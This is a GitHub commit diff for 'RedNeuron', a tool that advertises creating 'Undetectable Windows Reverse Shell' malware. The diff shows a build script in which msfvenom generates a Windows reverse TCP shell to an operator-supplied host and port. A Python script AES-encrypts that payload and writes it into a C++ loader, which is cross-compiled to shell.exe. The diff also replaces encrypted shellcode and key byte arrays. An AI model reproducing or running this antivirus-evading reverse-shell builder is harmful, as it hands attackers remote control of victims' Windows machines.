Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
S12cybersecurity authored Jan 5, 2023
1 parent a69b308 commit 4728c09
Show file tree
Hide file tree
Showing 6 changed files with 13 additions and 13 deletions.
Binary file modified RedNeuron
Binary file not shown.
10 changes: 5 additions & 5 deletions code/aesencrypt.py
Original file line number Diff line number Diff line change
Expand Up @@ -33,19 +33,19 @@ def aesenc(plaintext, key):



f = open("revshell2.cpp", "r")
f = open("code/revshell2.cpp", "r")

with open('revshell2.cpp', 'r') as file :
with open('code/revshell2.cpp', 'r') as file :
filedata = file.read()

filedata = filedata.replace('payloadaes', payload)

with open('revshell2.cpp', 'w') as file:
with open('code/revshell2.cpp', 'w') as file:
file.write(filedata)

f = open("revshell2.cpp", "r")
f = open("code/revshell2.cpp", "r")

filedata = filedata.replace('KEYAES', key)

with open('revshell2.cpp', 'w') as file:
with open('code/revshell2.cpp', 'w') as file:
file.write(filedata)
2 changes: 1 addition & 1 deletion code/create.h
Original file line number Diff line number Diff line change
Expand Up @@ -4,5 +4,5 @@ using namespace std;

void createrevshell(){
cout<<endl;
system("bash msfvenom.sh");
system("bash code/msfvenom.sh");
}
4 changes: 2 additions & 2 deletions code/menus.h
Original file line number Diff line number Diff line change
Expand Up @@ -21,11 +21,11 @@ void commandsmenu(){
}

void createcommands(){
cyan("\nCommands:\n- help -> Show Help Menu\n- list -> List all malware avaible\n- reverse shell -> Create Undetectable Windows Reverse Shell\n- revshell -> Create Undetectable Windows Reverse Shell\n- commands -> List avaible commands\n- clear -> Clear actual screen\n");
cyan("\nShell Commands:\n- help -> Show Help Menu\n- list -> List all malware avaible \n- commands -> List avaible commands\n- clear -> Clear actual screen\n\nMalware Commands:\n- reverse shell -> Create Undetectable Windows Reverse Shell\n- revshell -> Create Undetectable Windows Reverse Shell\n");
}

void createmenu() {
cyan("\nHelp Menu for Create\nIf you want to see all malware avaible execute 'list' command \n\nCreate Section in RedNeuron allow you to use this commands:\n- help -> Show this Menu\n- list -> List all malware avaible\n- reverse shell -> Create Undetectable Windows Reverse Shell\n- revshell -> Create Undetectable Windows Reverse Shell\n- commands -> List avaible commands\n- clear -> Clear actual screen\n");
cyan("\nHelp Menu for Create\nIf you want to see all malware avaible execute 'list' command \n\nCreate Section in RedNeuron allow you to use this commands:\n\nShell Commands:\n- help -> Show Help Menu\n- list -> List all malware avaible \n- commands -> List avaible commands\n- clear -> Clear actual screen\n\nMalware Commands:\n- reverse shell -> Create Undetectable Windows Reverse Shell\n- revshell -> Create Undetectable Windows Reverse Shell\n");
}

void listcreate(){
Expand Down
6 changes: 3 additions & 3 deletions code/msfvenom.sh
Original file line number Diff line number Diff line change
Expand Up @@ -13,9 +13,9 @@ printf "PORT = "
read -r port
echo -e ""
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ip LPORT=$port -f raw -o temp.raw >/dev/null
cp revshell.cpp revshell2.cpp 2>/dev/null
python2 aesencrypt.py temp.raw >/dev/null
x86_64-w64-mingw32-g++ revshell2.cpp helpers.cpp -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -o shell.exe -fpermissive 2</dev/null
cp code/revshell.cpp code/revshell2.cpp 2>/dev/null
python2 code/aesencrypt.py temp.raw >/dev/null
x86_64-w64-mingw32-g++ code/revshell2.cpp code/helpers.cpp -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -o shell.exe -fpermissive 2</dev/null
rm temp.raw
echo -e ""
ls shell.exe >/dev/null
Expand Down
4 changes: 2 additions & 2 deletions code/revshell2.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -38,8 +38,8 @@ int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keyl
return 0;
}

unsigned char payload[] = { 0xfb, 0x3c, 0xa, 0xd0, 0xd4, 0x90, 0xd0, 0x34, 0xfc, 0xac, 0xf9,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97, 0xbc, 0x5f, 0x6d, 0x40, 0xb9, 0x7e, 0x67, 0x76, 0x6d, 0xd, 0xca, 0xa7, 0x84, 0xa1, 0x90, 0xef, 0xb8, 0x9e, 0xef, 0x81, 0x79, 0xf9, 0x0, 0xf1, 0xab, 0x69, 0xfc, 0xc9, 0x1f, 0xcc, 0x88, 0xeb, 0xd1, 0x5e, 0x5a, 0x53, 0x3b, 0x67, 0x78, 0x7d, 0x75, 0xab, 0xa9, 0xf0, 0xae, 0xf5, 0x7, 0x95, 0x94, 0xb3, 0x97, 0x14, 0x2b, 0xbc, 0x9d, 0x58, 0xc2, 0x5a, 0x1d, 0x5e, 0x26, 0xcb, 0xeb, 0x6, 0xd8, 0x4, 0x1, 0x47, 0x67, 0xfc, 0x80, 0x74, 0x79, 0xd5, 0x4a, 0x44, 0xaa, 0xf8, 0xd4, 0x65, 0xb4, 0x43, 0x38 };
unsigned char key[] = { 0x7, 0x46, 0x3a, 0x21, 0x25, 0x66, 0xb3, 0x5f, 0x6c, 0x51, 0x84, 0xde, 0xfb, 0x90, 0xdc, 0xd };
unsigned char payload[] = { 0xd2, 0x35, 0x97, 0xc0, 0x8a, 0x4f, 0x95, 0x88, 0x73, 0xbc, 0x4e, 0xa7, 0x1c, 0x29, 0x36, 0x43, 0x48, 0xdf, 0x9, 0x71, 0x61, 0xa7, 0xd1, 0x7d, 0xa8, 0xb1, 0x84, 0xc9, 0xa3, 0xba, 0xd6, 0x8d, 0x35, 0xe, 0xf1, 0x42, 0x7f, 0x63, 0x7f, 0x9c, 0x2b, 0xbf, 0x1, 0x57, 0xf1, 0x21, 0x49, 0x84, 0xe3, 0x7a, 0xa2, 0x4a, 0xbf, 0xbe, 0x9f, 0x5b, 0xd8, 0xb0, 0x8f, 0x38, 0xf2, 0x4b, 0xb8, 0xa5, 0xba, 0xf5, 0xb8, 0xd4, 0x74, 0x38, 0x50, 0x78, 0x4a, 0x45, 0x9a, 0xef, 0xf7, 0x8d, 0xd4, 0xde, 0x7, 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ab, 0x49, 0x36, 0xd1, 0xa6, 0x42, 0xaa, 0xc, 0x11, 0x3a, 0x16, 0x69, 0xf4, 0x7e, 0x84, 0x77 };
unsigned char key[] = { 0x99, 0x9, 0x14, 0x4b, 0xf9, 0xde, 0xfe, 0xd1, 0xd9, 0x61, 0xd6, 0x4f, 0x81, 0x5d, 0x26, 0x25 };


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
Expand Down

0 comments on commit 4728c09

Please sign in to comment.